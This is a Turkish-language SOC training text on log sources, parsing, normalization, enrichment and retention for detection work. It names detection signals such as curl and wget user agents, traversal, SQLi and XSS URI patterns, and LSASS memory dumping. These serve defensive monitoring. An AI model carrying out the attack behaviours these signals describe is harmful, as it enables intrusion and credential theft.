
Firewall logları ağ trafiğinin en temel kaydını tutar ve her SOC ortamında toplanması gereken öncelikli kaynaklardan biridir. SOC analizi açısından kritik alanlar şunlardır: src_ip, dst_ip, src_port, dst_port, protocol, action (allow/deny), rule_name, bytes_in, bytes_out, duration ve session_count.

Bu alanlar üzerinden üretilen analizler oldukça değerlidir. Örneğin, bir iç IP adresinin bilinen zararlı bir IP’ye bağlantı kurması dst_ip alanından fark edilir. Bir sistemin çok sayıda farklı porta bağlantı denemesi (dst_port dağılımı) port tarama davranışına işaret edebilir. bytes_out değerinin normalin çok üzerinde olması veri sızdırma şüphesi uyandırabilir; ancak bu alanın yön ve anlamı ürün/vendor bazında değişebileceği için her zaman ilgili firewall’un veri modeliyle birlikte yorumlanmalıdır. action=deny ile birlikte yüksek frekans ise kaba kuvvet veya tarama aktivitesi sinyali verebilir.

Firewall loglarında karşılaşılan yaygın veri kalitesi problemi, yalnızca deny kayıtlarının toplanmasıdır. Bu yapılandırmada allow ile geçen bağlantılar loglanmaz; yani kurumdan dışarıya giden başarılı trafik görünmez hâle gelir. Exfiltration, C2 beaconing ve lateral movement için bu görünmezlik SOC’un kör noktasına dönüşür.

2.5 Proxy Loglarıyla Web Erişimlerini Değerlendirme

Proxy logları, kullanıcıların web’e yönelik aktivitelerini görmek için kritik bir katmandır. SOC analizinde şu alanlar öne çıkar: url, domain, user_agent, http_method, status_code, category, username, src_ip, bytes_transferred ve response_time.

User-agent alanı özellikle ilgi çekicidir. Saldırılar sırasında C2 araçları varsayılan user-agent string’leri kullanabilir ya da tamamen sahte değerler atayabilir. python-requests/2.x.x, curl/7.x, wget, go-http-client gibi user-agent değerleri standart tarayıcı davranışından ayrıldığı için araştırmaya değer sinyallerdir. Ancak geliştirici, DevOps, güvenlik ekibi veya otomasyon araçları bu user-agent’ları meşru olarak da üretebilir. Bu nedenle user-agent tek başına karar verdiren bir kanıt değil; kullanıcı rolü, cihaz tipi, hedef domain, zamanlama ve network segmentiyle birlikte değerlendirilecek bir sinyaldir.

status_code alanı da önemlidir. Bir domain’e yapılan isteklerin çoğu 200 OK ile dönüyorsa normal davranış olabilir; ama 403 ve 404 yoğunlaşıyorsa web uygulamasına yönelik keşif davranışı düşünülmelidir. Proxy’de kategori alanı (category) “uncategorized” veya “newly registered domain” döndürüyorsa o domain daha yakından incelenmeli, reputation sorgusu yapılmalıdır.

2.6 Web Server Loglarıyla Uygulama Erişimlerini Analiz Etme

Web sunucu logları (Apache access log, Nginx access log, IIS log) doğrudan uygulamaya yönelik istekleri gösterir. Kritik alanlar: src_ip, request_uri, http_method, status_code, user_agent, response_size, request_size veya bytes_received, referrer ve timestamp.

SOC perspektifinden önemli sinyaller şunlardır: Tek bir IP’den yüksek istek hızı (rate abuse veya brute force), URI’de ../, %00, ', ", <script> gibi kalıplar (SQLi, XSS veya path traversal denemesi), POST/PUT isteklerinde anormal request body boyutu veya bytes received değeri (dosya yükleme, veri gönderimi veya abuse ihtimali), status code 500 yoğunlaşması (backend üzerinde beklenmeyen hata veya payload denemelerinin etkisi). response_size çoğu formatta sunucudan istemciye dönen yanıt boyutunu gösterir; bu nedenle tek başına veri dışarı çıkışı kanıtı olarak yorumlanmamalıdır. Veri dışarı aktarımı şüphesinde request body boyutu, upload davranışı, response/request oranı, oturum bağlamı ve uygulama logları birlikte değerlendirilmelidir.

Yanlış Bilinen: Web sunucu loglarının yalnızca DevOps ekibinin ilgilendiği teknik loglar olduğu düşünülür. Oysa bir uygulama katmanı saldırısının (SQL injection, credential stuffing, web shell upload) izi büyük olasılıkla ilk olarak bu logda görülür; SIEM’e bu kaynaktan veri gelmiyorsa uygulama katmanında körlük yaşanır.

2.7 VPN Loglarıyla Uzaktan Erişim Davranışlarını İzleme

Uzaktan çalışmanın yaygınlaşmasıyla birlikte VPN logları SOC’un kimlik ve erişim analizi için temel giriş noktalarından biri hâline gelmiştir. Kritik alanlar: username, src_ip, src_country, device_id, session_start, session_end, bytes_in, bytes_out, auth_result ve mfa_result.

Analist açısından ilginç durumlar şunlardır: Bir kullanıcının normalde Türkiye’den bağlandığı görülürken ani Hollanda veya Brezilya IP’sinden giriş yapması (impossible travel veya VPN kullanımı şüphesi), başarısız MFA denemelerinin yoğunlaşması, aynı hesabın çok kısa aralıklarla farklı coğrafyalardan bağlanması ve olağandışı saatlerde giriş (çalışma saati dışı erişim).

VPN logları tek başına kesin kanıt değildir; bir kullanıcı seyahatte olup yabancı ülkeden bağlanmış olabilir. Bu nedenle VPN logu her zaman kimlik logu ve endpoint telemetrisiyle birlikte değerlendirilmelidir.

2.8 Identity Loglarıyla Kullanıcı ve Hesap Hareketlerini İzleme

Active Directory ve Entra ID (Azure AD) logları, SOC’un kimlik altyapısını izlemesi için vazgeçilmezdir. Active Directory’de Domain Controller’dan gelen Security event’leri kritiktir: 4768 (Kerberos TGT isteği), 4769 (Kerberos TGS isteği), 4771 (Kerberos pre-auth failure), 4776 (NTLM doğrulama) ve 4740 (hesap kilitlendi) gibi event’ler. Entra ID tarafında Sign-in Logs, Audit Logs ve Risky Sign-in kayıtları SOC analizinin temel bileşenleridir.

Identity logları diğer log kaynaklarıyla kombinlendiğinde en değerli hâle gelir. Bir kullanıcının VPN’den bağlanıp ardından çok sayıda başarısız Kerberos denemesi yapması ya da başarılı oturum açmasının hemen ardından admin yetkisi kazanması, identity log + Windows Security log kombinasyonundan çıkarılabilecek kritik bulgulara örnektir.

Kimlik loglarının büyük hacimli olması nedeniyle tamamının SIEM’e gönderilmemesi yaygın bir hata kaynağıdır. Ancak kimlik kötüye kullanımının (credential compromise, privilege abuse, lateral movement) büyük bölümü identity loglarında iz bırakır. Bu log kaynağı hiçbir zaman öncelik dışı bırakılmamalıdır; gerekiyorsa maliyet ve hacim yönetimi için use case bazlı filtreleme, retention katmanları ve önceliklendirme uygulanmalıdır.

2.9 Cloud Audit Loglarıyla Bulut Yönetim Aktivitelerini İzleme

Cloud ortamlarında güvenlik logları on-prem’den yapısal olarak farklıdır. AWS CloudTrail, AWS hesabındaki kullanıcı, rol ve servis aktivitelerine ilişkin birçok yönetim/API olayını kaydeder. IAM değişiklikleri, EC2 işlemleri, STS operasyonları ve security group değişiklikleri gibi management events SOC için kritik kaynaklardır. Ancak S3 object-level erişimleri gibi data events varsayılan olarak her zaman toplanmaz; bu olaylar için CloudTrail data events ayrıca etkinleştirilmelidir. eventName, userIdentity, sourceIPAddress, awsRegion, requestParameters ve responseElements alanları kritik investigation noktalarıdır.

Azure Activity Logs, Azure’daki subscription-level ve management-plane yönetim olaylarına görünürlük sağlar. Resource oluşturma, silme, policy değişikliği gibi yönetim aktiviteleri bu kapsamda değerlendirilebilir. Ancak kaynakların iç operasyonları, data-plane aktiviteleri ve servis özel logları için ayrıca resource logs, diagnostic settings veya ilgili servis loglarının toplanması gerekir.

GCP Audit Logs; Admin Activity, Data Access, System Event ve Policy Denied kategorilerinden oluşur. Admin Activity logları varsayılan olarak etkindir; Data Access audit logları ise BigQuery gibi bazı istisnalar dışında ayrıca etkinleştirilmelidir. SOC açısından özellikle Data Access loglarının aktif olmadığı durumlarda cloud veri erişimi görünmez hâle gelir; bu kritik bir kör noktadır.

Dikkat: Cloud audit logları varsayılan olarak sınırlı kapsamda toplanabilir veya sınırlı süre saklanabilir. AWS CloudTrail S3’e yazılıyorsa ayrıca SIEM’e iletilmesi gerekir. Azure’da Diagnostic Settings yapılandırılmadan ilgili loglar Sentinel’e akmayabilir. GCP’de Data Access gibi kritik log kategorileri ayrıca etkinleştirme gerektirebilir. Bu yapılandırmaların connector health ve log coverage kontrolü kapsamında düzenli izlenmesi gerekir.

2.10 EDR/XDR Loglarıyla Endpoint ve Davranışsal Sinyalleri İzleme

EDR/XDR platformlarından gelen loglar, modern SOC ortamında en zengin endpoint telemetrisi kaynaklarından biridir. Temel alanlar: process_name, parent_process, command_line, file_hash, user, hostname, remote_ip, remote_port, detection_name, severity, confidence ve action.

EDR loglarının ayırt edici özelliği, salt event kaydının ötesinde behavioral alert üretmesidir; yani sistemin kendisi belirli bir davranışı şüpheli olarak işaretler. Analist bu alarmı okurken detection_name alanının ne anlama geldiğini, command_line alanındaki komutun bağlamını ve parent_process → process zincirini birlikte değerlendirmelidir.

3. Log Kaynaklarını Risk ve Use Case’e Göre Önceliklendirme

3.1 Kritik Varlıkların Öncelikli İzlenmesi

Her sistemden eşit öncelikte log toplamak hem maliyet açısından verimsizdir hem de analiz kapasitesini zorlayan gürültü üretir. Doğru yaklaşım, kurumun risk haritasına göre önceliklendirme yapmaktır. Bu haritanın üst sıralarında şunlar bulunur: Domain Controller’lar (kimlik altyapısının kalbi), IAM ve SSO servisleri, üretim ortamı sunucuları ve veritabanları, bulut yönetim hesapları ve yüksek yetkili endpoint’ler (sysadmin, güvenlik ekibi, yönetici).

Bir saldırgan Domain Controller’ı ele geçirirse kimlik altyapısının tamamına erişim potansiyeli kazanır; bu nedenle DC’lerden gelen loglar hem yüksek fidelity hem de düşük gecikmeyle toplanmalıdır. Bir sistem üretim ortamında kritik veri tutan bir veritabanıysa önceliklendirmesi daha da yüksektir.

3.2 Risk Bazlı Log Toplama Yaklaşımı

Risk bazlı log toplama yaklaşımı, tehdit yüzeyi ve iş etkisi kombinasyonuna göre karar verir. Dışarıya açık sistemler (internet-facing), özellikle güvenilmeyen kaynaklardan trafik aldıklarından yüksek risk taşır; bu sistemlerin hem web server logları hem de EDR telemetrisi toplanmalıdır. İç ağda bulunan ama kritik veri erişimi olan sistemler; düşük dışa açıklığına rağmen lateral movement hedefi olabileceğinden izlenmesi gerekir.

Risk değerlendirmesi dinamik olmalıdır. Bir sistemin risk seviyesi bir yamanın uygulanmaması, yeni bir servisin devreye girmesi veya bir kullanıcının yetkisinin değişmesiyle ani biçimde yükselebilir. SOC bu değişikliklere duyarsız kalmak yerine asset inventory ve vulnerability context’i log önceliklendirme kararlarına dahil etmelidir.

3.3 Use Case Bazlı Veri İhtiyacı Belirleme

Her detection use case’in spesifik veri gereksinimleri vardır. Bu gereksinimleri önceden haritalamak, gereksiz veri toplamayı önler ve gerçekten ihtiyaç duyulan logların eksiksiz alınmasını sağlar.

Detection Use Case	Gerekli Log Kaynakları
Password spraying tespiti	Authentication logları (AD, Entra ID, VPN)
Credential dumping tespiti	Birincil kaynak: EDR/Sysmon process access telemetrisi, Sysmon Event ID 10, LSASS handle erişimi, dump file creation ve process tree verileri. Destekleyici kaynak: Windows Security Log, özellikle Event ID 4688 ve command line logging etkinse
Lateral movement tespiti	Windows Security (4624, 4648), Sysmon Event ID 3, firewall logları
Data exfiltration tespiti	Proxy, firewall (outbound hacim ve bağlantı yönü), EDR (file activity, network connection), cloud data access logları
Living off the land tespiti	Sysmon Event ID 1, Windows Event ID 4688 (command line dahil), PowerShell logları
Cloud IAM anomali	AWS CloudTrail, Azure Activity Logs, Microsoft Entra ID Audit Logs, Entra ID Sign-in Logs, GCP Audit Logs ve ilgili cloud IAM/resource logları

Bu tablo bir referans noktasıdır; kuruma özgü use case’ler genişletilmelidir.

3.4 Telemetri Boşluklarının Tespit Kabiliyetine Etkisi

Belirli bir tekniği tespit edecek kuralı yazmak mümkündür; ancak o kuralın sorguladığı alan log kaynağında yoksa kural hiç ateşlenmez. Buna detection gap denir: kural var, davranış gerçekleşiyor, ama veri olmadığı için alarm üretilmiyor.

Örnek verecek olursak: LSASS process access davranışını tespit etmek için EDR telemetrisi veya Sysmon Event ID 10 gibi process access görünürlüğü gerekir. Sysmon kurulu değilse veya Event ID 10 konfigürasyonda kapalıysa, bir saldırgan LSASS’a erişip memory dump alsın ya da almasın SOC bunu göremez. Detection kuralı belki Sentinel’de durmaktadır; çalışıyor gibi görünür ama gerçekte veri eksikliği nedeniyle kör bir kural hâline gelmiştir.

Analist Yorumu: Detection coverage analizini yalnızca “kurallarımız var mı?” sorusuna indirgemek bir gözetim hatasıdır. Doğru soru şudur: “Bu kural için gerekli veri kaynağı doğru biçimde toplanıyor mu, alanlar mevcut mu ve son 24 saatte bu kaynaktan event geldi mi?” Bu kontrol, threat hunting başlamadan önce yapılmalıdır.

4. Ham Logları Anlamlı Alanlara Ayırma: Parsing ve Field Extraction

4.1 Parsing Nedir?

Ham log, sistemin ürettiği ve çoğunlukla tek bir text satırı şeklinde gelen yapılandırılmamış veridir. Parsing, bu ham string’i anlamlı, ayrı ayrı sorgulanabilir alanlara bölme işlemidir. SIEM’in src_ip alanında arama yapabilmesi için sistemin önce ham log satırından IP adresini tanıyıp ayırması gerekir; bu operasyon parsing’dir.

Ham log örneği (uydurma, firewall logu):

2024-11-15T08:32:17Z FW-EDGE01 ALLOW TCP 192.0.2.10 -> 203.0.113.50 :54321 -> :443 bytes=1842

Parsing sonrası üretilen alanlar:

timestamp : 2024-11-15T08:32:17Z
device : FW-EDGE01
action : ALLOW
protocol : TCP
src_ip : 192.0.2.10
dst_ip : 203.0.113.50
src_port : 54321
dst_port : 443
bytes : 1842

Bu ayrıştırma yapılmadan SIEM, ham string üzerinde ancak tam metin araması yapabilir. dst_ip = 203.0.113.50 gibi bir alan sorgusu mümkün olmaz.

4.2 Field Extraction ile Önemli Alanları Çıkarma

Field extraction, parsing’in bir alt operasyonudur: ham logdan belirli anlamlı alanları çekip etiketleme sürecidir. SOC analizinde sık sorgulanan alanlar log kaynağına ve detection use case’e göre değişir.

Firewall loglarında src_ip, dst_ip, src_port, dst_port, action, bytes_in, bytes_out ve timestamp alanları öne çıkar. Endpoint loglarında hostname, username, process_name, parent_process, command_line, event_id ve file_hash alanları kritiktir. Web/proxy loglarında url, domain, user_agent, status_code, http_method, src_ip, username ve byte bilgileri daha önceliklidir. Cloud audit loglarında ise userIdentity, eventName, sourceIPAddress, region, requestParameters, responseElements veya platforma özgü karşılıkları önem taşır.

Bu alanlardan herhangi biri, ilgili use case için eksikse kör nokta oluşur. Örneğin command_line alanı çekilmiyorsa LOLBin tespiti, PowerShell analizi ve encoded command yakalama ciddi biçimde zorlaşır. Ancak her alanın her log kaynağında bulunması beklenmez; önemli olan, o log kaynağının desteklediği use case için gerekli alanları sağlamasıdır.

4.3 Regex ile Loglardan Veri Çıkarma Mantığı

Regex (regular expression), belirli bir pattern’e uyan metin bloğunu tanımlamak için kullanılan bir dil ailesidir. Log parsing’de yaygın olarak kullanılır. Temel yaklaşım, ham log satırındaki değişmeyen yapıya dayalı bir pattern oluşturmak ve aradaki değişken kısımları capture group ile yakalamaktır.

Örnek bir pattern mantığı (firewall logu için kavramsal):

^(\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z)\s(\S+)\s(ALLOW|DENY)\s(TCP|UDP)\s(\d+\.\d+\.\d+\.\d+)\s->\s(\d+\.\d+\.\d+\.\d+)

Capture:

timestamp, device, action, protocol, src_ip, dst_ip

SOC analistinin regex yazmasına gerek yoktur; ancak bir parsing kuralının neden belirli alanları çekip çekemediğini anlayabilmek için regex mantığını kavramak gerekir. Bir log formatı değiştiğinde mevcut regex bozulur ve field extraction sessizce başarısız olabilir; bu durumu fark edebilmek için parsing mantığına aşinalık şarttır.

SIEM’de yeni bir log kaynağı devreye alındığında parsing kuralının çalışıp çalışmadığını doğrulamak için ilk 24-48 saat birkaç ham event incelenmelidir. Alanların doğru çekilip çekilmediği, timestamp formatının doğru tanındığı ve kritik alanların null olmadığı kontrol edilmelidir.

4.4 Grok Pattern ile Log Ayrıştırma Mantığı

Grok, regex’in üzerine inşa edilmiş, önceden tanımlanmış named pattern’lerden oluşan bir log ayrıştırma yaklaşımıdır. Özellikle Elastic ekosisteminde (Logstash, Ingest Pipeline) yaygın olarak kullanılır. %{IP:src_ip} gibi bir ifade, “burada bir IP adresi var ve onu src_ip alanına ata” anlamına gelir; ham regex yazmaktan çok daha okunabilirdir.

Grok pattern’lerin SOC açısından önemi şudur: Elastic kullanan bir SOC’ta log ayrıştırma çoğu zaman bu yaklaşımla yapılır. Yeni bir log kaynağı ekleneceğinde parsing pipeline’ı Grok ile tanımlanabilir. Logstash grok filter kullanıldığında parse başarısızlıkları genellikle _grokparsefailure etiketiyle işaretlenebilir. Elasticsearch Ingest Pipeline tarafında ise başarısızlık davranışı pipeline’ın on_failure veya ignore_failure yapılandırmasına bağlıdır; her hata otomatik olarak aynı etiketle görünmeyebilir. Bu ayrımı bilmek, analistin “bu event neden alanlara ayrılmadı?” sorusunu daha doğru yanıtlamasını sağlar.

4.5 Splunk Tarafında Field Extraction Mantığı

Splunk’ta field extraction iki temel yöntemle gerçekleşir. İlki, sourcetype tanımına bağlı props.conf ve transforms.conf dosyaları üzerinden yapılan konfigürasyon tabanlı extraction’dır; bu yaklaşım performans ve tutarlılık açısından daha verimlidir. İkincisi, arama anında rex komutu ile çalışma zamanı extraction’dır; test ve ad hoc analiz için kullanılır.

SOC operasyonu açısından kritik nokta şudur: Splunk’a gelen bir log kaynağı yanlış veya genel bir sourcetype ile işlenirse, kaynağa özel field extraction, normalizasyon ve CIM eşlemesi beklenen şekilde çalışmayabilir. Event raw text olarak görülebilir veya yalnızca sınırlı/otomatik alanlar çıkarılabilir. Bu durum alarmın tetiklenmemesine, yanlış değer döndürmesine veya CIM tabanlı korelasyonların o kaynağı kullanamamasına neden olabilir. Splunk kullanan bir SOC’ta yeni log kaynaklarının doğru sourcetype’a sahip olup olmadığını ve critical field’ların doğru çekilip çekilmediğini periyodik olarak kontrol etmek bir operasyonel alışkanlık olmalıdır.

4.6 Elastic Ingest Pipeline ile Log İşleme Mantığı

Elastic’te log verisinin index’e yazılmadan önce işlenmesi için ingest pipeline kullanılır. Pipeline, birden fazla processor içerebilir: grok processor alanları ayrıştırır, date processor timestamp formatını dönüştürür, geoip processor IP’yi coğrafi bilgiye çevirir, rename processor alan adlarını yeniden adlandırır ve remove processor gereksiz alanları atar.

Bir pipeline doğru yapılandırılmadığında event index’e ya hiç yazılmaz (pipeline failure) ya da eksik alanlarla yazılır. Eksik alanlarla yazılan event’ler SIEM’de görünür ama sorgulandığında beklenen sonucu vermez; bu sessiz bir veri kalitesi problemidir. Kibana Dev Tools üzerinden pipeline test etmek ve _ingest/pipeline API’si ile pipeline durumunu kontrol etmek bu sorunların erken tespitine yardımcı olur.

4.7 Hatalı Parsing’in SOC Analizine Etkileri

Hatalı veya eksik parsing beş kritik probleme yol açar:

Yanlış korelasyon: İki farklı log kaynağından gelen src_ip alanı farklı şekillerde ayrıştırılmışsa SIEM join/correlation sorguları hatalı sonuç döndürür. Gerçekte aynı IP olan iki event farklı değer olarak görünür ve ilişkisi kurulamaz.
Eksik alarm: Detection kuralı event_id = 4624 AND logon_type = 3 gibi bir koşul içeriyorsa ancak logon_type alanı parse edilmemişse, bu alan her event’te null gelir ve kural hiç ateşlenmez. Oturum açmalar gerçekleşmektedir; alarm sessizdir.
Bozuk dashboard: Zaman çizelgesi grafikleri, coğrafi haritalar ve frekans analizleri yanlış parse edilmiş timestamp veya null alanlarla anlamsız veri gösterir. SOC Lead yanlış metrikler üzerinden karar alır.
Hatalı raporlama: Bir aylık raporda “toplam kimlik doğrulama başarısızlığı: 0” görünüyorsa ama auth loglarında failure_reason alanı parse edilmemişse rapor gerçeği yansıtmaz.
Yanıltıcı investigation: Bir analist bir event’i SIEM’den açtığında command_line alanı boş görünüyorsa saldırganın ne yaptığını göremez ve yanlış false positive kararı verebilir; oysa komut log’da vardır ama ayrıştırılmamıştır.

5. Farklı Log Kaynaklarını Ortak Dile Çevirme: Normalizasyon

5.1 Normalizasyon Nedir?

Normalizasyon, farklı kaynaklardan gelen logların aynı kavramı temsil eden alanlarını ortak bir adlandırma, format ve anlam çerçevesine oturtma sürecidir. Farklı üreticilerin farklı adlar kullandığı aynı anlamdaki alanlar, normalizasyon olmadan bir detection kuralının tutarsız davranmasına neden olur.

Bu süreç yalnızca alan adı standardizasyonundan ibaret değildir. Değer formatlarının da normalize edilmesi gerekir: Timestamp’in tüm kaynaklarda UTC’ye çevrilmesi, IP adresinin tüm kaynaklarda aynı format ve sütunda bulunması, action değerinin farklı sistemlerde “ALLOW/DENY”, “permit/block”, “accept/drop” olarak gelmesinin ortak bir değere (allow/deny) dönüştürülmesi normalizasyon operasyonlarına örnektir.

5.2 Ortak Veri Modeli Neden Gereklidir?

Bir detection kuralı “son 5 dakikada aynı kaynak IP’den 10’dan fazla başarısız auth girişimi” koşulunu içeriyorsa, bu kuralın Windows Auth logundaki IP alanı ile VPN logundaki client_ip ve proxy logundaki source_address alanlarını aynı anda sorgulayabilmesi için bu alanların ortak bir normalize alan adına eşlenmesi gerekir. Aksi hâlde aynı kuralın her log kaynağı için ayrı ayrı yazılması gerekir; bu bakım yükünü katlar ve coverage boşlukları üretir.

Ortak veri modeli ayrıca hunting sorgularında da kritik rol oynar. Bir analist “bu IP adresi sistemimde nerede göründü?” sorusunu sorarken tek bir sorgu, tüm normalize edilmiş kaynaklarda aynı sonucu verir. Normalize edilmemiş ortamda aynı analist her log kaynağı için farklı alan adıyla ayrı sorgular yazmak zorunda kalır.

5.3 Splunk CIM ile Ortak Alan Yapısı Oluşturma

Splunk’taki Common Information Model (CIM), belirli veri kategorileri için standart alan adları ve değer formatları tanımlar. Authentication, Network Traffic, Endpoint, Change, Malware gibi data model’lar her biri için hangi alanın bulunması gerektiğini belirtir.

CIM’in SOC operasyonuna katkısı şudur: Splunk Enterprise Security (ES) gibi güvenlik odaklı uygulamalar CIM uyumlu alanlara dayalı detection içeriği ve korelasyon aramaları içerir. Bir log kaynağı CIM’e uyumlu hâle getirilmeden, yani CIM eşlemesi yapılmadan, bu uygulamalardaki hazır detection’ların büyük bölümü o kaynak için çalışmayabilir. Yeni bir log kaynağı eklendiğinde CIM eşlemesinin yapılıp yapılmadığını kontrol etmek standart bir devreye alma adımı olmalıdır.

5.4 Elastic ECS ile Ortak Alan Yapısı Oluşturma

Elastic Common Schema (ECS), Elastic Stack içindeki tüm event’ler için ortak alan adları ve tipleri tanımlayan açık bir standarttır. source.ip, destination.ip, user.name, process.name, process.command_line, event.action, event.outcome gibi alanlar ECS tarafından tanımlanmış ve Elastic’in güvenlik araçları bu alanlara bağlı çalışır.

Elastic Security’nin built-in detection kurallarının büyük bölümü ECS alanlarını sorgular. Eğer bir log kaynağı ECS’e uyumlu şekilde parse edilmemişse, ilgili kurallar o kaynaktan alarm üretmez veya eksik üretir. Elastic Agent ve Beats entegrasyonları genellikle ECS eşlemesini otomatik yapar; ancak özel log kaynakları için manuel eşleme gerekebilir.

5.5 Normalizasyonun Detection Kalitesine Etkisi

Normalizasyon yapılmamış bir ortamda detection kuralı hem karmaşıklaşır hem de coverage boşlukları üretir. Normalize edilmiş bir ortamda “kaynak IP adresinden 10 dakikada 5’ten fazla başarısız auth” kuralı firewall, VPN, Active Directory ve proxy’den gelen verinin tamamına uygulanabilir; çünkü bu kaynaklardaki ilgili alanlar artık ortak bir şemaya eşlenmiştir.

Detection engineer’ın bir kuralı her veri kaynağı için ayrı yazması yerine tek bir kural yazması, bakım yükünü düşürür, coverage’ı artırır ve false negative riskini azaltır. Bu doğrudan SOC’un detection kalitesine yansır.

6. Alarm Bağlamını Zenginleştirme: Enrichment

6.1 Asset Enrichment ile Varlık Bağlamı Ekleme

Bir alarm üretildiğinde alarm içindeki hostname veya IP değeri tek başına az şey söyler. O sistemin sahibi kim? Hangi departmanda? Kritiklik seviyesi nedir? İnternet’e açık mı? İşletim sistemi ne? Son yama tarihi ne zaman? Bu sorulara verilen cevaplar, alarma varlık bağlamı katar.

Asset enrichment, bir CMDB (Configuration Management Database), asset inventory veya SOAR playbook’u üzerinden bu bilgileri otomatik olarak alarmın alanlarına ekler. SOC analistinin triaj sürecinde “bu hangi sistem?” sorusunu araştırmak yerine direkt olarak görmesi, MTTA’yı (ortalama sahiplenme süresi) düşürür ve investigation kalitesini artırır.

Örnek: Bir EDR alarmı DESKTOP-TEST01 hostunda şüpheli PowerShell aktivitesini raporluyor. Asset enrichment olmadan analist bu makinenin kime ait olduğunu bulmak için IT ticketing sistemine bakmak zorunda. Enrichment ile alarm şu bilgileri içerir: asset_owner: backup_user, department: IT Operations, criticality: low, environment: internal. Bu bilgi alarma öncelik atarken anında kullanılır.

6.2 User Enrichment ile Kullanıcı Bağlamı Ekleme

Kullanıcının kurumsal rolü, departmanı, yetki seviyesi, beklenen çalışma saatleri ve risk profili alarm bağlamı açısından kritik bilgilerdir. Bir localadmin hesabından gelen şüpheli aktivite ile svc_backup servis hesabından gelen aynı aktivite farklı risk taşır; biri insan tarafından yönetilirken diğeri genellikle belirli işlemleri otomatik olarak yürütür.

User enrichment, AD’den veya HR sisteminden gelen bilgileri alarm alanlarına ekler: user_department, user_title, user_manager, user_risk_score, is_privileged_account, normal_login_hours, location_country. Bu bilgilerle donatılmış bir alarm, analistin “bu kullanıcı için bu davranış normal mi?” sorusunu çok daha hızlı cevaplamasını sağlar.

6.3 GeoIP Enrichment ile IP Konumu Değerlendirme

GeoIP enrichment, bir IP adresinin coğrafi konumunu (ülke, şehir, enlem/boylam) alarm alanlarına ekler. Bir kullanıcının yurt içinden oturum açması beklenirken alarm Brezilya’dan gelen bir IP üzerinden ateşlenmişse bu bilgi hızlı karar almaya yardımcı olur.

Ancak GeoIP tek başına kesin kanıt değildir ve bu kısıtın farkında olmak gerekir. VPN, Tor ve proxy servisleri aracılığıyla coğrafi konum kolayca maskelenebilir. Bir saldırgan ülkedeki bir VPN noktasından bağlanıyorsa GeoIP yurt içi gösterir; bu yanlış güvence verebilir. Öte yandan meşru bir kullanıcı seyahatte gerçekten yurt dışından bağlanıyor olabilir.

Yanlış Bilinen: GeoIP “Türkiye dışı” kural tetikleyicisi olarak tek başına kullanılırsa yüksek false positive üretir. GeoIP en etkili biçimde diğer sinyallerle birlikte (user history, MFA result, device compliance, session behavior) değerlendirildiğinde anlamlıdır.

6.4 ASN Enrichment ile IP Sahibini Anlama

ASN (Autonomous System Number) enrichment, bir IP adresinin hangi servis sağlayıcıya veya kuruluşa ait olduğunu gösterir. Örneğin, AS16509 Amazon Web Services’e aittir. Bir dış bağlantı Amazon IP bloğundan geliyorsa bu; meşru bir bulut servisi, bir saldırganın cloud altyapısı veya bir C2 sunucusu olabilir.

ASN bilgisi özellikle şu senaryolarda değerlidir: Bir endpoint beklenmedik biçimde Microsoft Azure veya DigitalOcean IP aralığına bağlanıyorsa ve bu kurumun onaylı cloud kullanımıyla örtüşmüyorsa bu bir araştırma sinyalidir. Saldırganlar C2 altyapılarını tanınmış cloud sağlayıcıları üzerinde barındırarak trafik analizini zorlaştırır; ASN bilgisi bu manipülasyonun farkında olmayı sağlar.

6.5 Reputation Enrichment ile Tehdit Göstergesi Kontrolü

Reputation enrichment, alarm içindeki IP adresi, domain, URL veya dosya hash değerini bilinen tehdit veritabanlarıyla karşılaştırır ve sonucu alarm alanlarına ekler. VirusTotal, AlienVault OTX, abuse.ch ve MISP gibi kaynaklar tehdit göstergesi ve reputation enrichment bağlamında kullanılabilir. Shodan ise daha çok IP/host üzerinde açık servis, banner, internet exposure ve altyapı bağlamı sağlamak için infrastructure enrichment kaynağı olarak konumlandırılmalıdır.

ip_reputation: malicious, domain_category: phishing, file_hash_hits: 32/72 gibi alanlar analistin triaj kararını hızlandırır. Ancak reputation verisi de tek başına mutlak bir kriter değildir. Yeni kaydedilmiş veya az kullanılan zararlı domainler henüz veritabanlarında yer almayabilir (“newly registered, zero reputation” problem). Öte yandan meşru ama abuse listesine girmiş paylaşımlı hosting IP’leri false positive üretebilir.

Reputation enrichment en çok “bunu atlayabilir miyim?” sorusunu değil, “bu nereden daha fazla araştırmayı hak ediyor?” sorusunu yanıtlamaya yarar. Temiz reputation, true positive ihtimalini azaltır ama ortadan kaldırmaz; kötü reputation ise önceliklendirmeyi artırır ama kesin mahkûmiyet değildir.

6.6 Business Context Enrichment ile İş Etkisini Değerlendirme

Teknik açıdan orta severity’li görünen bir alarm, etkilenen sistemin iş kritikliği yüksekse operasyonel önceliği anında artar. Bir medium severity EDR alarmının HR uygulamasını barındıran sunucuda görülmesi ile bir test workstation’ında görülmesi farklı aksiyon gerektirir.

Business context enrichment bu ayrımı otomatikleştirir: asset_business_impact: critical, asset_contains_pii: true, asset_external_facing: true gibi alanlar alarm öncelik skoruna katkı sağlar. Bu sayede SOC’un önceliklendirme kararı yalnızca teknik severity’ye değil, kurumsal risk ağırlığına da dayanır.

7. Log Saklama, Maliyet Yönetimi ve Veri Sağlığı

7.1 Log Retention Stratejisi Oluşturma

Log retention (log saklama), üretilen logların ne kadar süre erişilebilir tutulacağını belirler. Bu kararı etkileyen üç temel faktör vardır: investigation ihtiyacı, yasal/uyum zorunlulukları ve maliyet.

Investigation perspektifinden bakıldığında dwell time saldırı türüne, sektöre ve tespit kaynağına göre ciddi biçimde değişir. Bazı olaylar günler veya haftalar içinde tespit edilirken, casusluk, kimlik kötüye kullanımı veya geç fark edilen ihlal senaryolarında aylarca geriye dönük log ihtiyacı doğabilir. Bu nedenle kritik log kaynakları için retention stratejisi yalnızca ortalama dwell time’a değil; regülasyon, soruşturma ihtiyacı, sektör riski, tehdit modeli ve kurumun risk iştahına göre belirlenmelidir.

Kritik log kaynakları için en az 90 gün sıcak (hızlı erişilebilir) veri, 12-24 ay soğuk (arşiv, daha yavaş erişim) veri tutulması yaygın pratikte başlangıç noktası olarak değerlendirilebilir. Bu süreler her kurum için zorunlu standart değildir; uyum gereksinimleri, bütçe ve risk profiline göre yeniden tasarlanmalıdır.

Sıcak/soğuk veri ayrımı maliyet yönetimi açısından da kritiktir. SIEM’in hızlı sorgulama yapabileceği sıcak depolamada tüm veriyi tutmak masraflıdır; ama uzun süreli saklamada ihtiyaç olduğunda soğuk depodan getirilen verinin investigation kalitesini düşürmemesi için format ve bütünlüğünün korunması gerekir.
